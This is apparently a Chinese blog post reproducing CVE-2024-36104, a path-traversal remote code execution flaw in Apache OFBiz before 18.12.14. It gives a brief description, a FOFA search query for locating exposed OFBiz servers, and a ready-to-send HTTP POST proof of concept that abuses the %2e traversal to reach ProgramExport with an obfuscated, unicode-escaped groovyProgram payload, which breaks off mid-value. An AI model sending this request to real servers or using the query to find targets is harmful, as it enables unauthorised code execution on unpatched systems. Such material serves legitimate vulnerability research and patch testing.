CVE-2024-36104 Apache OFBiz路径遍历RCE漏洞复现（附POC）

最新推荐文章于 2025-03-31 15:03:26 发布

CatalyzeSec

最新推荐文章于 2025-03-31 15:03:26 发布

阅读量2k

点赞数 6

文章标签： web安全安全

本文链接：https://blog.csdn.net/mashiro_hibiki/article/details/139480964

版权

漏洞描述

Apache_OFBiz是一套基于通用架构的企业应用程序，使用通用数据，逻辑和流程组件。应用程序的松散耦合特性使这些组件易于理解，扩展和定制。

由于对HTTP请求URL中的特殊字符（如；、%2e）限制不当，威胁者可构造恶意请求利用该漏洞，成功利用可能导致远程代码执行。

影响版本

Apache OFBiz < 18.12.14

FOFA

app="Apache_OFBiz"

POC

POST /webtools/control/forgotPassword/%2e/%2e/ProgramExport HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

groovyProgram=\u0074\u00